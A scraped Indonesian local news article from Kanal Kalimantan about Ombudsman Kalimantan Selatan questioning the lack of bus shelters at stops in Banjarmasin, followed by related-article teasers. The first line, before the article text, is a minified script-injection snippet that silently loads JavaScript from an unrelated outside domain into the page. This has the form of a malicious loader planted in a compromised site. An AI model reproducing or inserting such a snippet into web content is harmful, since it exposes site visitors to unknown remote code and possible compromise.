(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kota Banjarmasin yang terdapat beberapa tempat pemberhentian sementara bus namun tidak mempunyai halte mendapat perhatian serius dari Ombudsman Kalimantan Selatan.
Sebagai contoh, tempat pemberhentian bus yang terletak di Jalan Brigjen Hasan Basri dan Jalan S Parman.
Hal tersebut menyebabkan masyarakat yang menunggu datangnya bus dilokasi yang tidak ada halte harus kepanasan ataupun kehujanan.
Permasalahan tersebut tak pelak menjadi perhatian Ombudsman Perwakilan Kalsel, mengingat halte merupakan fasilitas pendukung penyelenggaraan lalu lintas dan angkutan.
Baca juga: Ditarik Korban, Jambret di Sungai Andai Berhasil Dibekuk
Mengingat sebagaimana yang diatur dalam Undang Undang Nomor 22 Tahun 2009 tentang Lalu Lintas dan Angkutan Jalan, penyediaan fasilitas halte tersebut dilakukan oleh pemerintah dalam rangka terciptanya keamanan, keselamatan, dan kenyamanan bagi pengguna bus.
Kepala Ombudsman perwakilan Kalsel, Hadi Rahman mengatakan jika pihaknya segera mengonfirmasi pihak terkait, yaitu Dinas Perhubungan mengenai adanya sejumlah tempat pemberhentian bus yang tidak mempunyai halte.
“Tujuannya agar mendapatkan atensi dan ditindaklanjuti hal-hal yang menjadi masukan atau laporan masyarakat seperti sekarang ini,” kata Hadi Rahman, Kamis (3/2/2023).
Ombudsman Kalsel, jelas dia, fokus kepada pemberhentian bus yang tidak ada haltenya di depan Gedung Iqra Mahligai Qur’an di Jalan Brigjen Hasan Basri, Kayu Tangi samping Gedung Wanita. Juga yang berada di Jalan S Parman dekat Komplek Perguruan Muhammadiyah.
Menurut dia, dipertanyakannya layanan publik ini dengan harapan dapat diperhatikan oleh pemerintah daerah yang mempunyai kewenangan dan tanggung jawab terhadap fasilitas publik tersebut.
Baca juga: Pasang Ribuan Patok Tanah, Kiat Lawan Mafia Tanah di Kalsel
“Supaya ada aksi nyata atau upaya konkret dari pihak terkait, ada penjelasan, dan ada komitmen,” pungkas Hadi.
Diketahui keberadaan Bus sebagai moda transportasi umum cukup membantu kelancaran aktivitas masyarakat terutama di Kota Banjarmasin dan sekitarnya.
Selain itu, keberadaan halte yang berfungsi sebagai persinggahan Bus dan naik turunnya penumpang juga menjadi hal yang penting untuk disediakan, mengingat mobilisasi di Kota Banjarmasin saat ini cukup tinggi.
Hal tersebut menyebabkan masyarakat yang menunggu datangnya bus dilokasi yang tidak ada halte harus rela kepanasan maupun kehujanan. (kanalkalimantan.com/rizki)
Reporter: rizki
Editor: Dhani
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.